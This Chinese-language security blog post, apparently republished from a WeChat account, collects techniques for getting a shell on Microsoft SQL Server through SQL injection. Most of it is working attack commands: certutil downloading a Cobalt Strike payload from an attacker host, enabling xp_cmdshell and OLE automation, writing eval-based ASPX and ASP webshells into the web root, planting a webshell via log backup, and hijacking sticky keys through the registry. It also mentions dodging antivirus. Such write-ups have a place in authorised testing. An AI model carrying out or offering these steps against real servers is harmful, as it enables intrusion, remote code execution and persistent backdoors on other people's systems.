MSSQL GetShell方法总结

  • A+
所属分类:安全文章

0x01 环境准备

windows2008+MSSQL2008+iis7
windows2003+MSSQL2005+iis6

08和05的mssql还是有些区别的

05以下系统权限为system

08以上系统权限就不是system了,看到好几种,比较多的是network service

0x02 通过命令下载文件得到shell

certutil这个用的比较多,别的也没有试过,这篇文章比较详细

https://payloads.online/archivers/2017-11-08/1

环境用的是08

首先通过sqlmap --os-shell得到执行命令的权限

打开python一句话服务器,在CS上面生成木马放到根目录

certutil.exe -urlcache -split -f http://192.168.163.128:8080/artifact.exe

如果提示拒绝访问,可以在找一个能创建文件夹的目录,创建完之后下载到文件夹里

MSSQL GetShell方法总结

这里会超时,然后sqlmap会重复执行命令,CS会上线好几次,如果不需要的话发现上线直接退出sqlmap即可

MSSQL GetShell方法总结

这里用户本来应该是network service,但是安装的时候设置了一下就变成administrator,如果为network service可以使用juicypotato提权

0x03 绝对路径写webshell

写webshell不难,但是找到绝对路径挺难的,总结了一下找绝对路径的方法

  • 报错信息

  • 配置文件

  • cmd命令搜索文件

  • 找旁站路径

  • xp_dirtree

  • xp_subdirs

  • 修改404页面

  • 爆破路径

通过堆叠注入开启xp_cmdshell

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

报错信息

这个需要管理员配置过web.config,如果没配置过是看不到的(配置过也不一定看的到..)

<configuration>
<system.web>
<customErrors mode="Off"/>
</system.web>
</configuration>

这样应该是可以看到路径的

MSSQL GetShell方法总结

配置文件

通过type读取配置文件

适用于2005或者高权限启动的2008

C:Windowssystem32inetsrvmetabase.xml        #iis6
C:WindowsSystem32inetsrvconfigapplicationHost.config #iis7

这个没啥问题,最好是有联合查询注入的时候使用,不然是真的慢

MSSQL GetShell方法总结

这是08的配置文件

cmd命令搜索文件

dir/s/b c:index.aspx

/s #列出所有子目录下的文件和文件夹

/b #只列出路径和文件名,别的属性全部不显示

dir本身有检索功能,直接输入 dir index.aspx,会列出当前文件夹下文件名为index.aspx的文件属性,通过上面的命令可以检索磁盘下面的文件,并且不列出文件属性,减少数据量。

尽量找一些不是很常见的文件名,如果同服务器有别的网站或者有备份文件,用常见的名字会列出很多

结果hw的时候坑了一下,碰到的一个服务器没有E盘却有F盘,然后列到没E盘就没往下试了,完美的错过了网站根目录,而且在D盘里面还有个很像网站根目录的地方,就使劲往里写,但是一点反应都没有,还好后来有个师傅在F盘里面找到了根目录最后拿到了shell

其实当时sqlmap在列数据库路径的时候也显示数据库在F盘里,不过后来一直想着总不会真的在F盘里吧,外加是时间盲注真的很慢就没有去试,结果还真的踩坑了,看来以后还是需要细心

后来问了师傅是怎么找到根目录的,师傅说用了for循环,但是没有给出具体命令,然后我去网上查了一下,自己写了一条命令

for %i in (c d e f g h i j k l m n o p q r s t u v w x v z) do @(dir/s/b %i:sql.aspx)

MSSQL GetShell方法总结


这个命令看起来有点蠢(其实真的蠢,应该还有效率高的但是想不出来了..)

还有用这个命令最好在linux上面的sqlmap的,linux上面发现绝对路径可以直接Ctrl+c停止,会返回os-shell,如果windows就会直接退出sqlmap

os-shell最好使用q退出,让sqlmap按照完整的过程退出os-shell,如果直接退出可能会出点问题,比如第二次os-shell就上不去了

sqlmap 超时时间需要设置长一点,毕竟要跑全盘,--timeout=100

找旁站路径

看看旁站有没有地方可以爆出绝对路径,写到旁站里面

之前碰到过一个mysql的网站,可以写文件但是注入的那个站目录不可写,通过sqlmap读出httpd.conf,在里面找到了旁站的路径,然后写了webshell

xp_dirtree

xp_dirtree有三个参数,

  1. 要列的目录

  2. 是否要列出子目录下的所有文件和文件夹,默认为0,如果不需要设置为1

  3. 是否需要列出文件,默认为不列,如果需要列文件设置为1

xp_dirtree 'c:', 1, 1      #列出当前目录下所有的文件和文件夹

通过堆叠注入建表,将输出插入表里,通过注入将表列出来

http://192.168.163.133/sql.aspx?id=1;create table dir(subdirectory varchar(255),depth int, filee int);insert into dir(subdirectory,depth,filee) exec xp_dirtree 'c:',1,1

因为xp_dirtree输出是三个字段的所以要创建一个三个字段的表 ,字段名可以随便取

MSSQL GetShell方法总结

通过sqlmap列出dir表就可以看到目录了

sqlmap有缓存,可以通过--fresh-queries重新列数据表,--flush-session这个直接清掉缓存重新跑

xp_subdirs

xp_subdirs 'c:'

这个方法和上面的一样,缺点是不能列出文件

修改404页面

适用于2005或者高权限启动的2008

上面有两个配置文件路径一个是iis6一个是iis7

iis的报错页面一般都在

C:inetpubcusterrzh-CN

最后语言这个文件夹可能会变,之前看到湾湾的是zh-TW,如果是外语的话可能也会变成相应的

exec sp_configure 'show advanced options', 1;RECONFIGURE
exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'C:WindowsSystem32inetsrvconfigapplicationHost.config' ,'C:inetpubcusterrzh-CN404.htm';

MSSQL GetShell方法总结

如果是05的数据库要修改配置文件路径

C:WINDOWSHelpiisHelpcommon404b.htm #iis6 404页面位置
C:Windowssystem32inetsrvmetabase.xml #iis6 配置文件

爆破路径

爆破我觉得实在有点不现实就不写了,毕竟路径只要不是默认的基本就很难猜到了

一般来说iis的默认根目录为C:inetpubwwwroot

得到绝对路径之后就可以写入webshell了

echo ^<%@ Page Language="Jscript"%^>^<%Response.Write(eval(Request.Item["z"],"unsafe"));%^> > C:inetpubwwwrootshell.aspx

<>需要转义

0x04 sp_oacreate写入webshell

需要知道绝对路径

如果xp_cmdshell被删除无法恢复,或者被过滤,可以使用xp_dirtree或xp_subdirs列出目录,通过sp_oacreate写入webshell

通过堆叠注入开启sp_oacreate

exec sp_configure 'show advanced options', 1;RECONFIGURE
exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE

这个之前没了解,看了文章发现还挺有趣的,利用的方法也很多

先写最简单的执行命令吧

declare @o int;
exec sp_oacreate 'wscript.shell',@o out;
exec sp_oamethod @o,'run',null,'cmd /c mkdir c:temp';
exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:tempuser.txt';
create table cmd_output (output text);
BULK INSERT cmd_output FROM 'c:tempuser.txt' WITH (FIELDTERMINATOR='n',ROWTERMINATOR = 'nn') -- 括号里面两个参数是行和列的分隔符,随便写就行
select * from cmd_output

列出cmd_output得到命令结果

如果这个命令执行成功,会返回0

MSSQL GetShell方法总结

其实就是执行了一个vbs

Set objShell = CreateObject("wscript.shell")
objShell.run "cmd /c mkdir c:temp"
objShell.run "cmd /c net user > c:tempuser.txt"

还有一种用Shell.Application的方法,这个直接执行命令没有复现成功,但是通过vbs脚本执行命令是成功的

可以使用scripting.filesystemobject写入文件后执行

declare @f int,@g int
exec sp_oacreate 'Scripting.FileSystemObject',@f output
EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:inetpubwwwrootcmd.vbs',1
EXEC sp_oamethod @f,'WriteLine',null,'Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "cmd", "cmd /c whoami>c:whoami.txt", "", "runas",1'
declare @o int

exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:test.txt','c:windowssystem32','','1'; --支持2005,不支持2008

exec sp_oamethod @o,'ShellExecute',null,'c:inetpubwwwrootcmd.vbs', '', 'c:', '', 0 --成功

然后和上面一样写入表里就可以了

这里的vbs

Set write = CreateObject("Scripting.FileSystemObject")
write.CreateTextFile("c:inetpubwwwrootcmd.vbs).WriteLine("Set objShell = CreateObject(""Shell.Application"")"+CHR(13)+"objShell.ShellExecute ""cmd"", ""cmd /c whoami>c:whoami.txt"", """", ""runas"", 1")
Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "c:inetpubwwwrootcmd.vbs", "", "c:", "", 0

这里顺便写一下,xp_cmdshell会出现

MSSQL GetShell方法总结

在执行 xp_cmdshell 的过程中出错。调用 'CreateProcess' 失败,错误代码: '5'。

网上查了之后几种说法

  1. 没有cmd

  2. 没有权限执行cmd

  3. 服务器上有杀毒软件

没有cmd想想也不太可能,没cmd系统估计都要出问题,但是还是尝试删除cmd,03上面删了会自己恢复,08删不掉

没有权限执行,这个也尝试了一下,但是没权限配置权限,后来也没继续看了

安装360后发现360会拦截

经过测试只要mssql带起可以执行命令的文件都会拦截,sp_oacreate也是用不了的,powershell也不行

暂时没找到什么方法,基本所有执行命令的方法都会被拦截,Agent Job也不行,因为也要启动powershell,而且这个还需要启动mssql代理,所以这种方法就不复现了

如果服务器上存在web服务,可以通过上面那种写vbs的方法将webshell写入网站根目录,

declare @f int,@g int
exec sp_oacreate 'Scripting.FileSystemObject',@f output
EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:inetpubwwwrootshell.aspx',1
EXEC sp_oamethod @f,'WriteLine',null,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["z"],a+b));%>'

一句话需要免杀,网上找了个方法处理一下就过了

0x05 备份getshell

需要知道绝对路径

testdb是当前数据库

网上查到两种方法,一种是差异备份一种是log备份

差异备份2005和2008均没有复现成功

05会一直报少一个%>标记,08会多一个<%然后报错,如果有解决的大佬希望可以告知一下,提前感谢

log备份

alter database testdb set RECOVERY FULL 
backup database testdb to disk = 'c:bak.bak'
create table cmd (a image)
backup log testdb to disk = 'c:aaa.bak' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log testdb to disk = 'C:inetpubwwwrootshell.asp'

两个数据库都可以成功,备份文件小,不容易出现脏数据

0x06 劫持粘滞键

适用于2005,服务器开放3389

sp_oacreate复制文件

exec sp_configure 'show advanced options', 1;RECONFIGURE
exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:windowssystem32cmd.exe' ,'c:windowssystem32sethc.exe';

xp_regwrite修改注册表

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsNTCurrentVersionImage File Execution
Optionssethc.EXE','Debugger','REG_SZ','c:windowssystem32cmd.exe';

MSSQL GetShell方法总结

0x07 复现过程中的一些问题

之前看到过一篇文章是不需要堆叠注入执行命令,而且还要使用if,然后在测试的时候发现,只要在正确的语句后面接上语句都是可以执行的,不需要;,在web上面也是可以的

MSSQL GetShell方法总结

成功添加数据库

MSSQL GetShell方法总结

那这样是不是就不需要堆叠注入了

想知道一下原理但是问了几个地方都没有得到想要的答案,有位大佬说是mssql解释器的问题,但是具体也不清楚

如果有大佬知道的还希望大佬可以告诉我,感谢


作者:Macchiato,文章来源:先知社区




关注公众号:HACK之道

MSSQL GetShell方法总结
如文章对你有帮助,请支持点下“赞”“在看”

本文始发于微信公众号(HACK之道):MSSQL GetShell方法总结

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: